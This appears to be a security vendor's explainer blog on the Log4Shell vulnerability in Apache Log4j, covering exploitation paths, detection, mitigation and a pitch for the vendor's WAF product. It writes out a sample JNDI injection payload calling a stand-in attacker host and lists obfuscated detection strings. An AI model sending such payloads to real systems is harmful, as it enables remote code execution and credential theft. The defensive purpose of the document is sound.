What is Log4Shell? The critical vulnerability businesses need to know

1. What is Log4Shell?

In December 2021, the critical security vulnerability known as Log4Shell was disclosed under the identifier CVE-2021-44228, found in Apache Log4j, a widely used open source logging library for Java applications. Cybercriminals who exploit this flaw can achieve remote code execution, essentially granting them complete control over affected applications and devices.

The director of the U.S. Cybersecurity and Infrastructure Security Agency (CISA) even called Log4Shell one of the most serious enterprise software vulnerabilities in years. Apache Software Foundation, the organization behind Log4j 2, rated the flaw 10 out of 10 on the Common Vulnerability Scoring System (CVSS), the highest severity level possible, due to its massive potential impact and how easily attackers could exploit it.

Hackers have used Log4Shell for nearly everything imaginable: stealing data, deploying ransomware, building botnets, and even seizing full control of entire systems. An estimated 10 percent of all digital assets, including web applications, cloud services, and servers, were at risk from Log4Shell at the time it was discovered.

2. How Log4Shell works

To understand how Log4Shell works, it helps to know a bit about Log4j itself. Log4j is an open source Java logging library that developers use to record information such as errors and user data within applications. The Log4Shell vulnerability stems from how Log4j handles JNDI (Java Naming and Directory Interface) lookups.

Attackers exploited the vulnerability using the following steps:

• Step 1: The attacker sends an HTTP request, but instead of a normal User-Agent string, injects a specially crafted payload: "User-Agent: ${jndi:ldap://hacker.com/malicious}". This is JNDI lookup syntax that Log4j supports.
• Step 2: The server receives the request and, as usual, passes the entire content (including the User-Agent header) to Log4j for logging. The problem is that Log4j does not just log the string as plain text, it automatically parses and executes the ${jndi:...} syntax as a lookup command.
• Step 3: Log4j initiates a JNDI connection to the address ldap://hacker.com/malicious specified by the attacker. The compromised server unknowingly queries a server controlled by the hacker.
• Step 4: The LDAP server responds with information pointing to a malicious Java class. The compromised server downloads and executes that class, giving the attacker the ability to run remote commands.

3. How cybercriminals exploit the Log4Shell vulnerability

To carry out these attacks, cybercriminals rely on widely used, legitimate data transfer protocols, which can be exploited as follows:

3.1. Lightweight Directory Access Protocol (LDAP)

LDAP is used to store data in a centralized location that different applications and services can access. It is the most common method attackers use to exploit Log4Shell. A typical attack works as follows:

• The attacker sets up an LDAP server and hosts malicious code on it.
• The attacker sends a JNDI lookup request to a program using Log4j.
• The JNDI lookup causes the program to connect to the attacker's LDAP server, download the malicious payload, and execute the code.

3.2. Remote Method Invocation (RMI)

RMI is a Java feature that lets an application on one device request that an application on another device perform an action, such as sharing information or executing a specific function. RMI based attacks work much like LDAP attacks: the attacker sets up an RMI server, tricks the target into connecting to it, then sends malicious commands back to the target.

Attackers have increasingly shifted toward RMI based attacks as more organizations block LDAP traffic entirely.

3.3. Domain Name System (DNS)

Attackers use DNS to reconnoiter targets. They send a JNDI lookup request to a program, instructing it to connect to a DNS server the attacker controls. If the DNS server logs a connection from that program, the attacker knows the system is vulnerable and can be exploited further using Log4Shell.

4. Vulnerabilities related to Log4Shell

As Apache worked to patch Log4Shell after it was disclosed, several related security flaws came to light. In the end, it took four separate patches to fully resolve Log4Shell and all of its associated vulnerabilities.

5. Which industries are at risk from Log4Shell?

Because Log4j is so widely used, virtually every industry running Java-based backend systems is at risk. Here are the sectors facing the highest exposure:

• Finance and banking: Core banking systems, payment gateways, and stock trading applications are largely built on Java or the Spring Framework, both of which rely on Log4j to log transactions. A successful exploit could let attackers seize control of servers processing sensitive financial data, risking exposure of customer information or disrupted transactions.
• Government and public agencies: Many public service portals and e-government administration systems run on Java backends. These are attractive targets given the scale of impact from a breach, compounded by slow patching cycles due to complex approval processes.
• E-commerce: Online retail platforms, inventory management systems, and payment gateways process large volumes of user submitted data such as names, addresses, and browser User-Agent strings, making them the most common Log4Shell attack vector when unvalidated input gets logged and triggers a malicious payload.
• Telecommunications: Network management, billing, and OSS/BSS systems at telecom operators typically run on large scale Java middleware. A vulnerability at the telecom infrastructure layer can have a cascading impact on millions of end users.
• Healthcare: Electronic health records (EHR) and hospital management systems in many facilities are built on Java. Medical data is highly sensitive and commands high value on the black market, making healthcare a frequent target.
• Cloud and hosting providers: Many PaaS and SaaS platforms run Java applications for large numbers of enterprise customers. If the shared infrastructure layer is exploited, the impact can cascade across every customer using the service, creating a serious domino effect.

6. What damage can the Log4Shell vulnerability cause?

Once Log4Shell is successfully exploited, an attacker can carry out nearly any malicious action on the victim's system:

• Remote takeover: Attackers can execute arbitrary code on the compromised system, for example creating new administrator accounts or installing spyware and backdoors to maintain long term access. From there, they can move laterally across the internal network to compromise additional systems.
• Data theft: Log4Shell is commonly used to steal environment variables containing sensitive information such as AWS_ACCESS_KEY_ID, DATABASE_PASSWORD, and API_SECRET_KEY, credentials that applications store at runtime to connect to external services. A single leaked credential can lead to a full scale customer data breach.
• Ransomware and malware deployment: Many cybercriminal groups have used Log4Shell as an entry point to deploy ransomware across enterprise systems. After encrypting data, attackers demand a ransom for decryption, causing significant financial damage and operational disruption.

7. How to detect the Log4Shell vulnerability

Early detection of Log4Shell exploitation attempts is critical to minimizing damage. Here are the most effective detection methods:

• Vulnerability scanning: Many security organizations and vendors have released free Log4Shell scanning tools. Nessus and Qualys, for example, have released plugins that can accurately identify vulnerable Log4j software on servers. Deploying an intrusion detection system (IDS/IPS) with up to date signatures also provides effective continuous monitoring.
• Log monitoring: Review application and server logs for signs of exploitation attempts. Specifically, look for strings containing ${jndi:${${ldap://rmi://${lower:${upper, which can indicate the system is being, or has been, targeted.
• Network traffic analysis: A Log4Shell attack typically causes internal servers to generate unusual outbound connections, such as LDAP queries (port 389) or DNS requests to unfamiliar attacker controlled IPs or domains. Use network monitoring and intrusion detection systems (IDS), configure egress filtering to block or filter outbound traffic, or deploy honeypots. Analyzing network logs and flow data can help detect these malicious connections in time.

8. How to mitigate and remediate a Log4Shell incident

To protect systems against exploitation of the Log4Shell vulnerability, businesses and technology organizations need to act quickly on emergency response measures. Below are the mitigation and remediation steps security experts recommend implementing immediately:

• Update to the latest software version: Security researchers strongly recommend that businesses prioritize updating every Log4j deployment to the latest release, or at minimum to version 2.17.1.
• Disable the Message Lookup feature in applications: Set the system property "log4j2.formatMsgNoLookups" to "true", or set the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to "true". Note that unpatched versions of Log4j remain affected by CVE-2021-45046, which allows attackers to send malicious JNDI lookup requests under certain non-default configurations.
• Remove the JNDI Lookup class from applications: Removing Log4j's JNDI Lookup class completely blocks JNDI lookup capability, fully resolving both the original vulnerability and its variants. This approach is useful when an immediate update isn't possible, or when relying on third party software that hasn't been patched yet. However, it may affect other Log4j functionality, and thoroughly removing every instance of this class across an entire system is far from simple.
• Strengthen security controls: Tools such as firewalls and antivirus software are an essential part of any security setup. Firewalls can restrict outbound connections from servers so they cannot reach untrusted LDAP or HTTP servers.
• Isolate or shut down affected systems: CISA recommends that if a system cannot be patched or protected, it may need to be taken out of operation until the risk is resolved. This is a drastic measure, but it can prevent the intrusion from spreading further.

9. VNIS - The shield protecting businesses against Log4Shell vulnerabilities

With more than 13 years of operation, VNETWORK is proud to be a leading provider of cybersecurity and digital infrastructure services in Vietnam. VNETWORK is a trusted partner to more than 2,000 businesses across industries including finance, banking, entertainment, and education. This deep understanding of the market's pain points is what led VNETWORK to develop VNIS, a solution designed to comprehensively optimize defense systems against critical vulnerabilities like Log4Shell.

9.1. Core features of VNIS

VNIS (VNETWORK Internet Security) is VNETWORK's Web/App/API security solution built around AI, where AI serves not just as a supporting tool but as the core engine driving solution design, forecasting, detection, and defense against increasingly sophisticated cyberattacks.

• AI-integrated WAF: The Web Application Firewall (WAF) feature within VNIS is built on more than 2,400 rulesets, capable of detecting and blocking every variant of the Log4Shell payload. The WAF operates at the application layer, inspecting the entire contents of every HTTP request before it reaches the backend server, blocking attacks even when Log4j has not yet been patched.
• Multi-layer protection and real-time monitoring: VNIS integrates DDoS protection with real-time traffic monitoring, enabling immediate detection of abnormal behavior such as a server initiating outbound connections after receiving a Log4Shell payload. A centralized management dashboard provides full visibility into every threat currently affecting the system.
• Fast deployment with no infrastructure changes: Deployment is fast and requires no agent installation or changes to existing infrastructure. Businesses ranging from SMEs to large enterprises can be protected within minutes.

9.2. VNIS's two-layer protection model

VNIS deploys a two-layer protection model:

• Layer 1: AI Smart Load Balancing combined with Multi-CDN automatically analyzes and distributes legitimate traffic, filtering out abnormal traffic before it can overload the origin server. A smart caching system serves static content from the edge node closest to the user, while the built-in CDN absorbs volumetric attacks and distributes traffic across a global PoP network without requiring separate deployment.
• Layer 2: WAAP with an integrated AI WAF analyzes the behavior of every request, building a behavioral model of normal activity for each application to detect deviations even when an attacker mimics a legitimate browser. Rulesets aligned with OWASP standards are continuously updated, blocking attack types ranging from volumetric DDoS to slowloris, while distinguishing malicious bots from legitimate ones. Rate limits are configured individually per endpoint, with checkout and payment APIs receiving stronger protection than standard product pages.

10. Conclusion

Although it first surfaced in late 2021, this vulnerability will remain a favorite target for cybercriminals targeting legacy systems or those lacking rigorous monitoring. Delay always comes at a cost, whether in data, finances, or reputation. Building a proactive defense strategy that combines internal system patching with advanced edge layer protection is the key to helping businesses stand firm against every wave of digital attacks.

Let VNETWORK accompany your business in integrating the VNIS solution. Contact the VNETWORK team for a free consultation and to experience a VNIS deployment tailored to your infrastructure. Hotline: (028) 7306 8789 or email: contact@vnetwork.vn.

FAQ: Frequently asked questions about Log4Shell

1. Is Log4Shell still dangerous in 2025?

Yes, Log4Shell remains a significant security risk and continues to be actively exploited. While most major platforms have applied the necessary updates, some smaller services and embedded systems still run outdated versions of Log4j, leaving them vulnerable. Attackers continue scanning the internet for overlooked or misconfigured systems to exploit.

2. How can I check whether my application is affected by Log4Shell?

There are three main approaches: (1) Check the Log4j version in the pom.xml file, build.gradle file, or the WEB-INF/lib directory of your Java application; (2) Use a dependency scanning tool such as OWASP Dependency-Check; (3) Use a dedicated Log4Shell scanning tool that sends a test payload and checks for a callback connection. Note that Log4j may be bundled inside JAR files from other frameworks, so it is important to scan the entire dependency tree.

3. Can a WAF completely block Log4Shell?

A next generation WAF with an up to date ruleset can effectively block most Log4Shell payload variants, including obfuscation techniques. However, a WAF is a supplementary layer of protection, not a replacement for patching Log4j. The best strategy combines both: patch the library to eliminate the root vulnerability, and deploy a WAF to defend against new variants and yet undiscovered flaws.

4. How is Log4Shell different from a typical RCE vulnerability?

Three factors make Log4Shell more dangerous than a typical RCE vulnerability: (1) Extremely broad impact, since Log4j is present in tens of thousands of software products; (2) Extremely simple to exploit, since an attacker only needs to send a string of characters into any field an application logs; (3) Hard to detect, since the payload looks like ordinary text and does not trigger any visible error for users.

5. What is the difference between Log4j and Log4Shell?

Log4j is a piece of software, while Log4Shell is a critical vulnerability discovered within it. Log4j is a Java logging library that developers use to track system activity. Log4Shell refers specifically to CVE-2021-44228, a vulnerability in Log4j that allows remote code execution through crafted log entries.